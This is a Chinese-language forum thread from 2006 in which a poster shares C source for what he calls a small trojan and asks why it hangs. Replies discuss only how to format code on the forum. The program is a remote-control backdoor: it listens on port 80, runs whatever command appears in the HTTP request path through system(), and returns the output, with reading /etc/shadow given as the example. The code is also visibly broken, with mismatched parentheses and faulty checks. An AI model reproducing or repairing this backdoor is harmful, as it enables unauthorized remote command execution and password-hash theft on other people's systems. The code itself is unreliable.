免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 2522 | 回复: 4
打印 上一主题 下一主题

用c模拟识别HTTP协议的数据 [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2006-03-08 12:39 |只看该作者 |倒序浏览
以下的程序算是一个小小的木马吧,设计目的是通过浏览器来控制远程UNIX系统。比如在浏览器输入 http://192.168.0.111:80/cat /etc/shadow 就能在浏览器里看到 /etc/shadow 的内容。(转自资料区)
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define SA struct sockaddr

int main()
{
        int n, listenfd, connfd;
        char rbuf[1024], wbuf[1024], cbuf[256], *str;
        FILE *fp;
       
        struct sockaddr_in servaddr;
        if ((listenfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
                perror("socket", exit(0);
        bzero(&servaddr, sizeof(servaddr));
        servaddr.sin_family = AF_INET;
        servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
        servaddr.sin_port = htons(80);
        if (bind(listenfd, (SA *) &servaddr, sizeof(servaddr)) < 0)
                perror("bind", exit(0);
       
        if (listen(listenfd, 10) < 0)
                perror("listen", exit(0);

        for(;
        {
                int No;
                bzero(cbuf, 256);
                bzero(wbuf, 1024);
                if (connfd=accept(listenfd, (SA *)NULL, NULL) < 0)
                        perror("accept", exit(0);
                else printf("accept...\n";
               
                if ((No = read(connfd, rbuf, 1024)) < 0)
                        perror("read", exit(0);
                else printf("read buf:%s   read_return=%d\n", rbuf, No);

                if (fp=fopen("~~~tempfile~~~", "w")
                        perror("open tempfile error", exit(0);
                else printf("open tempfiel\n";

                fclose(fp);
                str = strstr(rbuf, "GET /");
                str += 5;
               
                for(n=0; *str!=' '; n++)//' '
                {
                        if (*str == '%')
                        {
                                str += 3;
                                *(cbuf+n) = ' ';
                        }
                        else *(cbuf+n) = *(str++);
                }

                strcat(cbuf, ">~~~tempfile~~~");
                printf("%s\n", cbuf);
                system(cbuf);
                if ( (fp=fopen("~~~tempfile~~~", "r")) == NULL)
                        perror("open tempfile error"), exit(0);
                strcpy(wbuf, "Result:");
                if (write(connfd, wbuf, strlen(wbuf)) < 0)
                        perror("write"), exit(0);
                fgets(wbuf, 1000, fp);
                while(!feof(fp))
                {
                        strcat(wbuf, " ");
                        if (write(connfd, wbuf, strlen(wbuf)) < 0)
                                perror("write"), exit(0);
                        fgets(wbuf, 1000, fp);
                }

                fclose(fp);
                unlink("~~~tempfile~~~");
                close(connfd);
                exit(0);
        }
        exit(0);
}

我将此程序运行在linux系统上,最初上面的程序阻塞在accept处,当我在windows下的浏览器输入http://192.168.0.111:80/cat /etc/shadow后,程序运行accept,但继续阻塞在read那里。
当按下回车时,收到一串空格和一个\n,当然后续工作也失败了。
不知道是否需要设置成守护进程,或者是程序有什么问题。
多谢!

论坛徽章:
3
2015年迎新春徽章
日期:2015-03-04 09:56:11数据库技术版块每日发帖之星
日期:2016-08-03 06:20:00数据库技术版块每日发帖之星
日期:2016-08-04 06:20:00
2 [报告]
发表于 2006-03-08 12:46 |只看该作者
封在code里再发一遍

论坛徽章:
0
3 [报告]
发表于 2006-03-08 14:16 |只看该作者
请问楼上怎么封在 code里,再发一遍?

论坛徽章:
3
2015年迎新春徽章
日期:2015-03-04 09:56:11数据库技术版块每日发帖之星
日期:2016-08-03 06:20:00数据库技术版块每日发帖之星
日期:2016-08-04 06:20:00
4 [报告]
发表于 2006-03-08 14:43 |只看该作者
这样,你引用我一下,就知道我中间的那个hello是怎么插进去的了
  1. hello
复制代码

[ 本帖最后由 cjaizss 于 2006-3-8 14:49 编辑 ]

论坛徽章:
0
5 [报告]
发表于 2006-03-08 15:01 |只看该作者
原帖由 cjaizss 于 2006-3-8 14:43 发表
这样,你引用我一下,就知道我中间的那个hello是怎么插进去的了
  1. hello
复制代码

我还是不太明白你的意思。我是在
http://fanqiang.chinaunix.net/program/netpro/2001-04-19/1901.shtml
找到的程序,麻烦帮忙看看。
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP